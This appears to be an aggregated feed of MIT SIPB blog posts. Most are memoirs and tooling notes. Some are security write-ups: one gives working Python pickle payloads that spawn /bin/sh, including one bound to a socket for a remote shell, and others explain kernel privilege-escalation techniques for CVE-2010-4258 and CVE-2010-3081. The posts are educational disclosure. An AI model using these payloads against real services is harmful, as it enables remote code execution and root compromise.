This works rather nicely with trayer, which support near identical tint and transparency behavior. Trayer also is nice on Oneiric, because it sizes the new battery icon sensibly, whereas stalonetray doesn’t. If you’re wondering why the fonts look antialiased, that’s because I compiled with XFT support.

(And yes, apparently I have 101% battery capacity. Go me!)

Update. Feature has been prettified and made configurable. Adjust alpha in your config file: 0 is transparent, 255 is opaque. I’ve submitted a pull request.

by Edward Z. Yang at November 28, 2011 10:09 AM

November 26, 2011

First semester at MIT

My first semester at MIT was one of the most eye-opening experiences of my life. Having transferred from Harvard, I felt like I had just moved into either a playground or an alien planet (or possibly an alien playground). There was some amount of becoming acclimated to a new physical campus, a new way of registering for classes (which culminated in me wandering around the Sloan Business School for hours, trying to figure out why no one could find my registration), and a fresh set of faces. But those weren’t the interesting bits. For me, the truly fascinating part of being at MIT was finding all the parts of the college experience I hadn’t even imagined I’d been missing.

For example, I soon realized that each living group had its own persistent subculture, usually with tight alumni ties. One floor in my dorm was full of gamers, another populated by mathematicians. At East Campus, I found two halls with cultures that strongly appealed to me, and I started spending decent amounts of time hanging around those halls trying to passively experience what they had to offer. I avoided the West Campus dorms at all costs, remembering well the experience that had driven me away from MIT in the first place.

In the circles I frequented, geek culture was rampant, if not dominant. It was rare that a conversation did not include a computer science joke of some form. At parties people would shoot each other with nerf guns. I found that with very little effort, I could surround myself by computer scientists and spend all my time living and breathing tech.

My biggest dissatisfaction with the move was that I did not have a research project. Since first semester of freshman year, I had been planning on doing research, but for one reason or another there was always something in the way. Research had always struck me as a fascinating concept (“how could one spin knowledge out of nothing?”), and CS research all the more so (“they’ll let me publish a paper on a coding project I’m hacking on for fun?!?”), and it would also be necessary for me to get into a good graduate school. So I began speaking with professors and found one whom I really liked and who had a project that seemed quite interesting.

About this time, Jessica and I had SIPB chair and vice-chair initiation. This was nothing formal–really just an evening of hanging out with former chairs and vice-chairs and listening to their stories of the past few years. As they told the stories and dispensed advice on running the organization and its projects, I realized that these people were exactly the kinds of people I had transferred to MIT to learn from and surround myself with. I had already known from reputation that they were technically brilliant, but I hadn’t expected they’d be willing to pass on their knowledge, nor that I’d enjoy spending time with them quite so much.

As it turned out, these alumni were all working at a startup called Ksplice, which had been founded by a group of SIPB members a few years earlier. One of the Ksplicers had been trying to recruit me as an intern, but I had fended him off because between research and classes and becoming acclimated to MIT I knew I’d have no time to work at a startup. But after that evening, I knew I had to do whatever it took to work with them. Even if it meant giving up research for the semester–graduate school positioning could wait.

So I told my professor I would not in fact be able to work on the project, and I began working part-time at Ksplice. My initial project was a fancy testing framework for rebootless updates. Over the course of a month, I wrote it in a very magical way, having tons of library functions that would apply heuristics to their arguments to coerce them into the correct types, and I think I even worked in some uses of getattr().

As I submitted my work for review, I felt quite proud of myself. So it was a bit of a shock when my reviewer’s comments came back saying that my code was basically unusable. As I read his comments in detail, I was even more shocked to realize how right he was. He pointed out that my interfaces, by being so broad, made it basically impossible to tell what kinds of arguments they actually accept, much less what they are intended to do. And as well, he pointed out that I should clean up my commit history, which was something that I had not even known was possible. So I spent another week going back and cleaning up my code and revision history, polishing it until no signs of my previous design were visible.

The rest of my time at Ksplice proceeded in much the same manner. (I ended up staying through the summer.) Every time I submitted code for review, every time I interacted with a member of the team, I felt myself learning and gaining new perspective on what it means to write good code. It wasn’t always smooth sailing, but from a technical perspective it was exactly what I had been looking for.

I was at the same time working on projects, sometimes on my own and sometimes with other SIPB members. My largest project of the semester was Anygit, which attempted to reverse the Git object model and support queries mapping a SHA1 to all parent objects or repositories containing that SHA1. I spent many hours architecting and rearchitecting its components, trying to build it in a way that would scale to hold all of the Git objects in the world. I taught myself a lot of Git internals as well as researched various datastores, learned how to diagnose database performance issues, and just generally explored an ecosystem I’d never really touched before.

In comparison, my technical learning through classes was felt paltry. The classes I was taking were good, but they weren’t great. I would voraciously wolf down the material, and find myself disappointed that there was no more to consume. I was required to take the introductory computer science class, 6.01, and though I was fortunate enough to be able to convince the professor to let me get credit for being a Lab Assistant, I still found myself deeply unsatisfied with how I was spending my time academically.

On the whole though, I don’t think I had ever been happier. I had finally found a home, surrounded myself with the kinds of people I had been seeking, and was completely immersed in computer science. I was exploring a new environment, learning the physics of this new world, and at the same time learning more about myself. My one regret was that I still hadn’t picked up a research project, but that’s what next semester was for, right?

by gdb at November 26, 2011 09:12 AM

November 23, 2011

Stripe payments plugin

Someone wrote a Stripe plugin for WordPress. Stripe gets a lot of requests for a WordPress plugin, so I’m pretty excited about it. I’m writing this post to test it out:

by gdb at November 23, 2011 08:01 PM

November 21, 2011

MIT.start

Once I had made the decision to transfer to MIT, my planning turned from high level strategy to implementation details. First and foremost, I needed a place to live. The MIT housing office sent pointed me to an application form with four dropdowns for you to select your top four dorms. I put East Campus for all four of them, and I added a heartfelt note about how much I wanted to be in EC.

Secondly, I needed to decide how to spend my January. Harvard had just shifted their schedule so that finals were before winter break, adding a J-term that coincided with MIT’s IAP. I looked into doing on some CS research at Harvard, but I realized that all I wanted to with my J-term was start poking around MIT and get acclimated to my new home.

About this time, an email arrived on the hcs-jobs mailing list from an MIT professor looking for some students to build a prototype of his startup idea over IAP. It sounded perfect–I would get to spend time around MIT, I would get to know a professor, and I would do all this while working on a cool project. I sent in an extremely excited application email, and I was overjoyed when I found out that I had been hired.

Once I was fully committed to joining the physical community, I wanted to join the virtual one as well. I started hanging around Zephyr, an MIT-internal chat system. I was amazed at how people whom I had briefly met at SIPB meetings started subscribing to my personal class (kind of the analog of a Facebook wall) and there engaging in fascinating conversations, technical and otherwise.

My MIT housing didn’t kick in until the end of IAP, so my original IAP plan had been to stay in the Harvard dorms, where I had procured special permission to be allowed to remain on campus (due to budget constraints, Harvard was trying to kick everyone out of the dorms for J-term). The day before I was going to head home for Christmas break, the “J-Term Housing Committee” emailed me to say that, because I had no housing for the spring term, and because students were to stay in their spring-time housing, I was actually not allowed to stay in the dorms over J-term.

I began to panic. I thought about appealing the decision, but since I was about to head home, I had no time to do so. I brought up my conundrum on Zephyr, and I was inspired by the number of people who jumped in to say that I should swing by their living group, which would be happy to take me in over IAP. It was at that moment that I knew I had made the right decision in transferring. Harvard had chosen to kick me out even when it had agreed to let me stay, and the decision maker was the faceless “J-Term Housing Committee”. At MIT, my soon-to-be peers were the gatekeepers, and they were all so excited about their living groups that they wanted to show them off to a total stranger.

That night, I stopped by pika for dinner. The residents took me on a tour, and they told me they’d be in touch shortly about whether I could stay over IAP. And sure enough, a few days later, I received an email saying that I was welcome to do so.

My Christmas break was full of SIPB project work. Mitch, a maintainer of the scripts project, set me up with a project with which I found myself enthralled. Mitch taught me various technical skills, such as how to do Fedora packaging, and he was on the whole a font of knowledge and advice–exactly what I had been looking for at MIT. I also started hacking on XVM, trying to make its packages usable outside of MIT’s infrastructure.

Having found myself spending nearly every waking moment working on SIPB projects or Zephyring with members of the SIPB community, I knew that I had to run for an officer position in SIPB whenever the first opportunity to do so would be. I wanted to make a difference, to improve the community as much as it was already improving me, and to help other people join and become as involved as I. I started asking around and was told that officer elections were coming up at the end of January. The one problem–only full members were eligible to run, which would mean I’d have to be elected to membership before then.

Soon the beginning of January rolled around and I headed back to MIT. On weekdays, I’d work 8-10 hours at the professor’s office, go hang out in the SIPB office for another few hours, and then head back to pika. On weekends I got to spend the entire day at SIPB. I made a point of spending some time in the SIPB office every single day. I loved being there, meeting the people I had barely dared to dream existed, and the worst part of every day was when I had to leave the office and head back home.

After a few weeks, I was elected to full membership. I was thrilled–I could now run for office! The next week was officer elections. When nominations for chair were called, someone called out my name. Along with two other candidates, I went up to the front of the room and answered a barrage of questions about how I would run SIPB. We were sent to the hall while the votes were tallied, and Jessica (incidentally the person who had told me to check out pika) ended up winning. The next position was vice-chair. I was again nominated, and this time after the votes were tallied I was shocked to see that I had in fact won.

On this happy note, the next semester began. I had finally found the community I had been looking for. I was working on awesome projects, and once again there were mentors to teach and guide me along the way. And I was at the same time in a position to give back, to help cultivate and shape the community that was at the same time molding me. I had truly found paradise.

by gdb at November 21, 2011 08:41 AM

November 06, 2011

scripts.mit.edu Fedora 15 Transition

On Monday, November 21, 2011, all of the scripts.mit.edu servers will be upgraded from Fedora 13 to Fedora 15, which was released on May 25. We strongly encourage you to test your website as soon as possible, and to contact us at scripts@mit.edu or come to our office in W20-557 if you experience any problems. The easiest way to test your site is to run the following commands at an Athena workstation and then visit your website in the browser that opens, but see this page for more details and important information:

athena% add scripts
athena% firefox-test

by Alexander Chernyakhovsky at November 06, 2011 02:00 AM

August 16, 2011

Creating tiny Debian packages and repositories for testing

For those of you who do a lot of Debian upgrade path testing…

I got annoyed at equivs not supporting Breaks: lines at all (Debian bug #571638), so I wrote a small shell script to spit out the minimal debhelper 7 rules file-using package. You can then edit debian/control the way you’d edit an equivs control file and run debuild, or you can continue writing a package for actual software, since it’s a real package and not just an equivs control file.

I also got annoyed at apt not really being able to install packages files on local disk, so I wrote an even tinier shell script to add all packages (recursively) in the current directory to an apt repo and add it via the file protocol to sources.list. It turns out dpkg-scanpackages does this, it’s just easier to have the two-line shell script to remember for you what the command is and what the sources.list line should be.

newpackage and fakerepo are in my Athena home directory. See the comments at the top for usage instructions. I might find a better place for these at some point, but I don’t anticipate ever having to update them…

by geofft at August 16, 2011 01:01 AM

August 08, 2011

BlackHat/DEFCON 2011 talk: Breaking out of KVM

I’ve posted the final slides from my talk this year at DEFCON and Black Hat, on breaking out of the KVM Kernel Virtual Machine on Linux.

[Edited 2011-08-11] The code is now available. It should be fairly well-commented, and include links to everything you’ll need to get the exploit up and running in a local test environment, if you’re so inclined.

In addition, as I mentioned, this bug was found by a simple KVM fuzzer I wrote. I’m also going to clean that up and release it, but don’t expect it too soon.

I had a great time meeting lots of interesting people at BlackHat and DEFCON, some that I’d met online and others I hadn’t. If any of you are ever in Boston, drop me a note and we can grab a beer or something.

by nelhage at August 08, 2011 05:32 PM

June 09, 2011

MS Office XML and OpenOffice.org file types added to white list

Our whitelist of file types served directly to the web has for a long time included .doc, .xls, and .ppt. With the advent of new XML-based Microsoft Office formats, and with the popularity of LibreOffice and OpenOffice.org, there have been requests for whitelisting these additional file types. As of yesterday, the new Office XML filetypes — .docx, .xlsx, .pptx, etc. — as well as ODF file types — .odt, .ods, .odp, etc. — will also be served directly to the web.

In addition to files you place in your locker, this also affects files uploaded to your website via the standard upload feature of apps such as MediaWiki and WordPress.

The full list of whitelisted extensions is posted in our FAQ.

by geofft at June 09, 2011 04:24 AM

May 13, 2011

Using Google ClientLogin

The answer to this was much less obvious than I expected it to be, so I figured I’d blog it. If you’re using Google’s ClientLogin API for turning a username and a password into an auth token, what do you do with the token? The result of POSTing to /accounts/ClientLogin gets you three values, and Google says to “reference” the Auth=foo line and discard the rest.

The answer is to send back a header of the form “Authorization: GoogleLogin auth=foo”. (That is to say, your authentication token doesn’t go anywhere in the POST data, which is what I tried for a while…)

Incidentally, I’m doing this because I’m playing with Google Cloud Print. I successfully created a cloud printer printed a PDF from my phone to, uh, a shell wget command. More on that later.

by geofft at May 13, 2011 06:41 AM

March 20, 2011

Exploiting misuse of Python’s “pickle”

If you program in Python, you’re probably familiar with the pickle serialization library, which provides for efficient binary serialization and loading of Python datatypes. Hopefully, you’re also familiar with the warning printed prominently near the start of pickle‘s documentation:

Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Recently, however, I stumbled upon a project that was accepting and unpacking untrusted pickles over the network, and a poll of some friends revealed that few of them were aware of just how easy it is to exploit a service that does this. As such, this blog post will describe exactly how trivial it is to exploit such a service, using a simplified version of the code I recently encountered as an example. Nothing in here is novel, but it’s interesting if you haven’t seen it.

The Target

The vulnerable code was a Twisted server that listened over SSL. The code looked roughly like the following:

class VulnerableProtocol(protocol.Protocol):
  def dataReceived(self, data):
 
     # Code to actually parse incoming data according to an
     #  internal state machine
     # If we just finished receiving headers, call verifyAuth() to
       check authentication
 
  def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

So, if we just send a request that looks something like:

AuthToken: <pickle here>

The server will happily unpickle it.

Executing Code

So, what can we do with that? Well, pickle is supposed to allow us to represent arbitrary objects. An obvious target is Python’s subprocess.Popen objects — if we can trick the target into instantiating one of those, they’ll be executing arbitrary commands for us! To generate such a pickle, however, we can’t just create a Popen object and pickle it; For various mostly-obvious reasons, that won’t work. We could read up on the “pickle” format and construct a stream by hand, but it turns out there is no need to.

pickle allows arbitrary objects to declare how they should be pickled by defining a __reduce__ method, which should return either a string or a tuple describing how to reconstruct this object on unpacking. In the simplest form, that tuple should just contain

• A callable (which must be either a class, or satisfy some other, odder, constraints), and
• A tuple of arguments to call that callable on.

pickle will pickle each of these pieces separately, and then on unpickling, will call the callable on the provided arguments to construct the new object.

And so, we can construct a pickle that, when un-pickled, will execute /bin/sh, as follows:

import cPickle
import subprocess
import base64
 
class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))
 
print base64.b64encode(cPickle.dumps(RunBinSh()))

Getting a Remote Shell

At this point, we’ve basically won. We can run arbitrary shell commands on the target, and there are any number of ways we could bootstrap from here up to an interactive shell and whatever else we might want.

For completeness, I’ll explain what I did, since it’s a moderately cute trick. subprocess.Popen lets us select which file descriptors to attach to stdin, stdout, and stderr for the new process by passing integers for the stdin and similarly-named arguments, so we can open our /bin/sh on arbitrarily-numbered fd’s.

However, as mentioned above, the target server uses Twisted, and it serves all requests in the same thread, using an asynchronous event-driven model. This means we can’t necessarily predict which file descriptor on the server will correspond to our socket, since it depends on how many other clients are connected.

It also means, however, that every time we connect to the server, we’ll open a new socket inside the same server process. So, let’s guess that the server has fewer than, say, 20 concurrent connections at the moment. If we connect to the server’s socket 20 times, that will open 20 new file descriptors in the server. Since they’ll get assigned sequentially, one of them will almost certainly be fd 20. Then, we can generate a pickle like so, and send it over:

import cPickle
import subprocess
import base64
 
class Exploit(object):
  def __reduce__(self):
    fd = 20
    return (subprocess.Popen,
            (('/bin/sh',), # args
             0,            # bufsize
             None,         # executable
             fd, fd, fd    # std{in,out,err}
             ))
 
print base64.b64encode(cPickle.dumps(Exploit()))

We’ll open a /bin/sh on fd 20, which should be one of our 20 connections, and if all goes well, we’ll see a prompt printed to one of those. We’ll send some junk on that fd until we manage to get the original server to error out and close the connection, and we’ll be left talking to /bin/sh over a socket. Game over.

In Conclusion

Again, nothing here should be novel, nor would I expect any of these pieces to take a competent hacker more than few minutes to figure out, given the problem. But if this blog post teaches someone not to use pickle on untrusted data, then it will be worth it.

by nelhage at March 20, 2011 10:38 PM

February 09, 2011

reptyr: Changing a process’s controlling terminal

reptyr (announced recently on this blog) takes a process that is currently running in one terminal, and transplants it to a new terminal. reptyr comes from a proud family of similar hacks, and works in the same basic way: We use ptrace(2) to attach to a target process and force it to execute code of our own choosing, in order to open the new terminal, and dup2(2) it over stdout and stderr.

The main special feature of reptyr is that it actually changes the controlling terminal of the target process. The “controlling terminal” is a concept maintained by UNIX operating systems that is independent of a process’s file descriptors. The controlling terminal governs details like where ^C gets delivered, and how applications are notified of changes in window size.

Processes are grouped into two levels of hierarchical groups: sessions, and process groups. Each group is named by an ID, which is the PID of the initial leader (either “session leader” or “process group leader”). Even if the leader exits, that number is still the ID for the group. Sessions are used for terminal management — Every process in a session has the same controlling terminal, and each terminal belongs to at most one session. Process groups are a sub-division within sessions, and are used primarily for job control within the shell. For a more in-depth explanation, see part 3 of my earlier series on termios.

If you check out tty_ioctl(4), you’ll find that Linux has an ioctl, TIOCSCTTY, that can be used to set the controlling terminal of a process, and you could be forgiven for thinking that all we need is to make the target call that ioctl, and we’re done.

However, if we read closer, we find that it has several restrictions. In particular:

The calling process must be a session leader and not have a controlling terminal already. If this terminal is already the controlling terminal of a different session group then the ioctl fails with EPERM […]

In the typical case, where I’m trying to attach a (say) mutt that you spawned from your shell, mutt won’t be a session leader — your shell will be the session leader, and mutt will be the process group leader for a process group containing only itself.

So, we need to make the target a session leader. Conveniently, there’s a system call for that: setsid(2).

However, reading that man page, we find a new caveat: setsid(2) fails with EPERM if

The process group ID of any process equals the PID of the calling process. Thus, in particular, setsid() fails if the calling process is already a process group leader.

The shell creates a new process group for every job you launch, and so our target mutt will be a process group leader, and unable to setsid(). The usual solution for programs that want to setsid is to fork(), so that the child is still in the parent’s session and process group, and then setsid() in the child. However, fork()ing our mutt and killing off the parent seems potentially disruptive, so let’s see if we can avoid that.

So, we’re going to need to change mutt‘s process group ID, so that there are no processes with process group IDs equal to its PID. Following some trusty SEE ALSO links, we get to setpgid(2). There’s a bunch of text in that man page, but the key bit is:

If setpgid() is used to move a process from one process group to another, both process groups must be part of the same session (see setsid(2) and credentials(7)). In this case, the pgid specifies an existing process group to be joined and the session ID of that group must match the session ID of the joining process.

We need to find a process group in the same session as mutt to move our mutt into, and then we’ll be able to setsid. We could try to find one — the shell is a plausible candidate, for instance — but there’s an alternate, more direct route: Create one.

While we have mutt captured with ptrace, we can make it fork(2) a dummy child, and start tracing that child, too. We’ll make the child setpgid to make it into its own process group, and then get mutt to setpgid itself into the child’s process group. mutt can then setsid, moving into a new session, and now, as a session leader, we can finally ioctl(TIOCSCTTY) on the new terminal, and we win.

It turns out I didn’t invent this technique — injcode and neercs work the same way. But I did discover it independently of them, and it was a fun little hunt through unix arcana.

by nelhage at February 09, 2011 03:06 AM

January 22, 2011

reptyr: Attach a running process to a new terminal

Over the last week, I’ve written a nifty tool that I call reptyr. reptyr is a utility for taking an existing running program and attaching it to a new terminal. Started a long-running process over ssh, but have to leave and don’t want to interrupt it? Just start a screen, use reptyr to grab it, and then kill the ssh session and head on home.

You can grab the source, or read on for some more details.

There’s a shell script called screenify that’s been going around the internet for nigh on 10 years now that is supposed to use gdb to accomplish the same thing. There’s also a project called retty that tries to do the same thing, in C using ptrace() directly.

The difference between those programs and reptyr is that reptyr works much, much, better.

If you attach a less using screenify or retty, it will still take input from the old terminal. If you attach an ncurses program, and resize the window, the program probably won’t resize correctly. ^C and ^Z will still be processed on the old terminal — typing them in the new terminal won’t do anything useful.

reptyr fixes all of these problems and more, and is the only such tool I know of that does so. I’ve never seen a program that doesn’t behave noticeably incorrectly after attaching with retty or screenify, whereas with reptyr most programs I have tried work flawlessly.

How does it work?

reptyr works in the same basic way as screenify and retty — it attaches to the target process using the ptrace API, opens the new terminal, and dup2s it over the old file descriptors. It also copies the termios settings from the old terminal to the new terminal.

The main thing that reptyr does that no one else does is that it actually changes the controlling terminal of the process you are attaching. This is the detail that makes many things Just Work, including ^C and ^Z and window resizing.

Switching the target’s controlling terminal is not easy and involves a fair bit of trickery with ptrace and Linux’s terminal APIs. I will probably do another blog post some time about the dirty details of how I make this work, but for now you can check out attach.c if you really want to know.

reptyr still has a number of limitations — it doesn’t generally work, for example, if the target process has any children. I know how to fix most of these problems, though, so expect it to get better with time. Please let me know if you find it useful!

Appendix

(Edited to add:) Nothing is really new. A commenter on reddit pointed out that injcode and neercs both accomplish the same thing, even using the same trick to change the CTTY. Ah well, I had run writing it anyways, and apparently I wasn’t the only one who didn’t know about the existing alternatives. neercs is a full screen replacement, though, and I think that reptyr should be more robust than injcode — I use a different techique for ptrace-hijacking, for example — and so hopefully this tool still has a niche as a more robust standalone utility. Certainly, judging from the amount of enthusiasm I’ve seen for this tool, this still isn’t a problem that is solved to the average user’s satisfaction.

by nelhage at January 22, 2011 01:56 AM

December 27, 2010

Some Android reverse-engineering tools

I’ve spent a lot of time this last week staring at decompiled Dalvik assembly. In the process, I created a couple of useful tools that I figure are worth sharing.

I’ve been using dedexer instead of baksmali, honestly mainly because the former’s output has fewer blank lines and so is more readable on my netbook’s screen. Thus, these tools are designed to work with the output of dedexer, but the formats are simple enough that they should be easily portable to smali, if that’s your tool of choice (And it does look like a better tool overall, from what I can see).

ddx.el

I’m an emacs junkie, and I can’t stand it when I have to work with a file that doesn’t have an emacs mode. So, a day into staring at un-highlighted .ddx files in fundamental-mode, I broke down and threw together ddx-mode. It’s fairly minimal, but it provides functional syntax highlighting, and a little support for navigating between labels. One cute feature I threw in is that, if you move the point over a label, any other instances of that label get highlighted, which I found useful in keeping track of all the “lXXXXX” labels dedexer generates.

An example file (from k9mail) highlighted using ddx-mode

ddx2dot

Dalvik assembly is, on the whole pretty easy to read, but occasionally you stumble on huge methods that clearly originated from multiple nested loops and some horrible chained if statements. And what you’d really like is to be able to see the structure of the code, as much as the details of the instructions.

To that end, I threw together a Python script that “parses” .ddx files, and renders them to a control-flow graph using dot. As an example, the parseToken method from the IMAP parser in the k9mail application for Android looks like the following, when disassembled and rendered to a CFG:

A CFG for k9mail's ImapResponseParser.parseToken method

I use the term “parses” because it’s really just a pile of regexes, line.split() and line.startswith("..."), but it gets the job done, so I hope it might be of use to someone else. The biggest missing feature is that it doesn’t parse catch directives, so those just end up floating out to the side as unattached blocks.

You’ll also notice the rounded “return” blocks — either javac or dx merges all exits from a function to go through the same return block, but I found that preserving that feature in the CFG produces a lot of clutter and makes it hard to read, so I lift every edge that would go to that common block to go to a separate block.

Github

Both tools live in my “reverse-android” repository on github, and are released under the MIT license. Please feel free to do whatever you want with them, although I’d appreciate it if you let me know if you make any improvements or find them useful.

by nelhage at December 27, 2010 08:26 PM

December 10, 2010

CVE-2010-4258: Turning denial-of-service into privilege escalation

Dan Rosenberg recently released a privilege escalation bug for Linux, based on three different kernel vulnerabilities I reported recently. This post is about CVE-2010-4258, the most interesting of them, and, as Dan writes, the reason he wrote the exploit in the first place. In it, I’m going to do a brief tour of the various kernel features that collided to make this bug possible, and explain how they combine to turn an otherwise-boring oops into privilege escalation.

access_ok

When a user application passes a pointer to the kernel, and the kernel wants to read or write from that pointer, the kernel needs to perform various checks that a buggy or malicious userspace app hasn’t passed an “evil” pointer.

Because the kernel and userspace run in the same address space, the most important check is simply that the pointer points into the “userspace” part of the address space. User applications are protected by page table permissions from writing into kernel memory, but the kernel isn’t, and so must explicitly check that any pointers given to it by a user don’t point into the kernel region.

The address space is laid out such that user applications get the bottom portion, and the kernel gets the top, so this check is a simple comparison against that boundary. The kernel function that performs this check is called access_ok, although there are various other functions that do the same check, implicitly or otherwise.

get_fs() and set_fs()

Occasionally, however, the kernel finds it useful to change the rules for what access_ok will allow. set_fs()¹ is an internal Linux function that is used to override the definition of the user/kernel split, for the current process.

After a set_fs(KERNEL_DS), no checking is performed that user pointers point to userspace — access_ok will always return true. set_fs(KERNEL_DS) is mainly used to enable the kernel to wrap functions that expect user pointers, by passing them pointers into the kernel address space. A typical use reads something like this:

old_fs = get_fs(); set_fs(KERNEL_DS);
vfs_readv(file, kernel_buffer, len, &pos);
set_fs(old_fs);

vfs_readv expects a user-provided pointer, so without the set_fs(), the access_ok() inside vfs_readv() would fail on our kernel buffer, so we use set_fs() to effectively temporarily disable that checking.

Kernel oopses

When the kernel oopses, perhaps because of a NULL pointer dereference in kernelspace, or because of a call to the BUG() macro to indicate an assertion failure, the kernel attempts to clean up, and then tries to kill the current process by calling the do_exit() function to exit the current process.

When the kernel does so, it’s still running in the same process context it was before the oops occured, including any set_fs() override, if applicable. Which means that do_exit will get called with access_ok disabled — not something anyone expected when they wrote the individual pieces of this system.

clear_child_tid

As it turns out, do_exit contains a write to a user-controlled address that expects access_ok to be working properly!

clear_child_tid is a feature where, on thread exit, the kernel can be made to write a zero into a specified address in that thread’s address space, in order to notify other threads of that exit.

This is implemented by simply storing a pointer to the to-be-zeroed address inside struct task_struct (which represents a single thread or process), and, on exit, mm_release, called from do_exit, does:

put_user(0, tsk->clear_child_tid);

This is normally safe, because put_user checks that its second argument falls into the “userspace” segment before doing a write. But, if we are running with get_fs() == KERNEL_DS, it will happily accept any address at all, even one pointing into kernel space.

So, if we find any kernel BUG() or NULL dereference, or other page fault, that we can trigger after a set_fs(KERNEL_DS), we can trick the kernel into a user-controlled write into kernel memory!

splice() et. al.

An obvious question at this point is: How much of the kernel can an attacker cause to run with get_fs() == KERNEL_DS?

There are a number of small special cases. For example, the binary sysctl compatibility code works by calling the normal /proc/ write handlers from kernelspace, under set_fs(). handful of compat-mode (32 on 64) syscalls work similarly.

By far the biggest source I’ve found, however, is the splice() system call. The splice() system call is a relatively recent addition to Linux, and allows for zero-copy transfer of pages between a pipe and another file descriptor.

As of 2.6.31, attempts to splice() to or from an fd that doesn’t support special handling to actually do zero-copy splice, will fall back on doing an ordinary read(), write(), or sendmsg() on the fd … from the kernel, using set_fs() in order to pass in kernel buffers.

What that means it that by using splice(), an attacker can call the bulk of the code in most obscure filesystems and socket types (which tend not to have explicit splice() support) with a segment override in place. Conveniently for an attacker, that is also exactly a description of where the bulk of the random security bugs tend to be.

This is also exactly the technique Dan’s exploit uses. He uses CVE-2010-3849, an otherwise boring NULL pointer dereference I reported in the Econet network protocol. His exploit code does a splice() to an econet socket, causing the econet_sendsmg handler to get called under set_fs(KERNEL_DS). When it oopses, do_exit is called, and he gets a user-controlled write into kernel memory. Everything else is just details.

by nelhage at December 10, 2010 04:02 PM

December 01, 2010

Some useful approximations

As much as I hate to admit it, mathematicians tend to deal with approximations. A lot of times, formulas are just too complicated to deal with the full complicated formula, and you have to simplify it. So here’s some handy approximations, as well as about where they’re valid.

• for
• for , and in particular and
• for
• for , especially for
• 
• , where is the Euler-Mascheroni constant
• , where is the number of primes less than
• , where is the th prime number.
• 

What do you think every mathematician should know?

by Patrick Hurst at December 01, 2010 09:08 PM

November 30, 2010

Some notes on CVE-2010-3081 exploitability

Most of you reading this blog probably remember CVE-2010-3081. The bug got an awful lot of publicity when it was discovered an announced, due to allowing local privilege escalation against virtually all 64-bit Linux kernels in common use at the time.

While investigating CVE-2010-3081, I discovered that several of the commonly-believed facts about the CVE were wrong, and it was even more broadly exploitable than was publically documented. I’d like to share those observations here.

A brief review of the bug

The bug arose from the compat_alloc_user_space function in Linux’s 32-bit compatibility support on 64-bit systems. compat_alloc_user_space allocates and returns space on the userspace kernel stack for the kernel to use:

static inline void __user *compat_alloc_user_space(long len)
{
    struct pt_regs *regs = task_pt_regs(current);
    return (void __user *)regs->sp - len;
}

This function is only called by compat-mode syscalls, so current is assumed to be a 32-bit process, in which case regs->sp, the user stack pointer, will be a 32-bit quantity. This, if we subtract a small len, the result should still fit in 32 bits, which, on a 64-bit system means it is guaranteed to fall within the user address space.

Because of this, some callers of compat_alloc_user_space were lazy, and did not call access_ok (or a function which called access_ok) to check that the result of compat_alloc_user_space fell within the user address space.

However, it turned out that some call sites in the kernel called compat_alloc_user_space with a user-controlled len value, allowing the subtraction to wrap around. On a 64-bit system, the kernel lives in the top four gigabytes of memory, and so this wraparound is enough for a user to cause compat_alloc_user_space to return a pointer into the kernel’s address space.

Moreover, it turned out that the functions that used a user-controlled len also did not check access_ok on the result of the allocation. In particular, Linux 2.6.26 introduced the compat_mc_getsockopt function, which called compat_alloc_user_space with a user-controlled length and then copied user-controlled data to this pointer. It is this function which the public exploit targetted.

Disabling 32-bit binaries doesn’t help

When an exploit was released for this bug, many sources circulated a mitigation: Disable 32-bit binaries on a system. Prevent compat-mode processes from running, the logic goes, and you prevent anyone from making a compat-mode syscall that triggers the vulnerable path.

This mitigation indeed prevented the public exploit from working (it included 32-bit inline assembly, and so couldn’t even easily be recompiled as a 64-bit binary), and many observers seemed to believe it closed the bug entirely.

However, this was not the case! It turns out, on an amd64 system, a 64-bit process can still make a compat-mode system call using the int $0x80 instruction, which is the traditional 32-bit syscall mechanism! Even though the process is running in 64-bit mode, int $0x80 redirects to the compat-mode syscall table.

After realizing this, modifying the public exploit to work when compiled in 64-bit mode was a simple matter of porting the inline assembly, and changing a small handful of types. I’ve posted the modified exploit and the diff against the original for the curious.

The integer overflow is totally irrelevant

Once you’ve realized that you can make compat-mode system calls from a 64-bit process, a little bit of thought reveals something else interesting. compat_alloc_user_space subtracts the len value off of the userspace stack pointer. Previously, we relied on subtracting a large value from a 32-bit stack pointer in order to end up with a kernel pointer. However, while a 32-bit is limited to a 32-bit stack pointer, a 64-bit process can write a full 64-bit value into %rsp, and thus regs->sp! There’s no need for underflow at all — you can just write a 64-bit value into %rsp and do an int $0x80, and make compat_alloc_user_space return any value you please!

The condition for exploitability thus drops from “user-controlled len and no access_ok” to simply “no access_ok“.

This is interesting, because it turns out that some very old kernels, before 2.6.11, including RHEL 4, have the following function:

int siocdevprivate_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)
{
        struct ifreq __user *u_ifreq64;

        ...
        u_ifreq64 = compat_alloc_user_space(sizeof(*u_ifreq64));

        /* Don't check these user accesses, just let that get trapped
         * in the ioctl handler instead.
         */
        copy_to_user(&u_ifreq64->ifr_ifrn.ifrn_name[0], &tmp_buf[0], IFNAMSIZ);
        __put_user(data64, &u_ifreq64->ifr_ifru.ifru_data);

        return sys_ioctl(fd, cmd, (unsigned long) u_ifreq64);
}

Remember, we can make compat_alloc_user_space return an arbitrary value. The copy_to_user will call access_ok and fail, but that return value will be discarded, and the __put_user will scribble 32 bits of user-controlled data at a user-controlled address. Bingo, local root.

It turns out this function was present in Linux 2.4.x, too, meaning that this exploit even affected RHEL3 and anyone else still running a 2.4-based system!

Based on this exploit, I’ve produced a working proof-of-concept exploit for RHEL4, based on the released exploit for RHEL5. Contact me if you’re interested, but it’s pretty straightforward.

Closing notes

As far as I know, neither of these facts has been publically documented prior to this post. I shared this information with Red Hat, and they requested I keep it private until they released fixes for RHEL 3, which happened last week. I would not be at all surprised to learn that someone else has private exploits that incorporate either or both of these observations, though.

One important moral here is you must be very careful when declaring a system unaffected by a vulnerability, or declaring a mitigation to be complete. Software systems have gotten tremendously complex, and it’s often impossible to be totally confident you understand every last way an attacker could tickle a vulnerability.

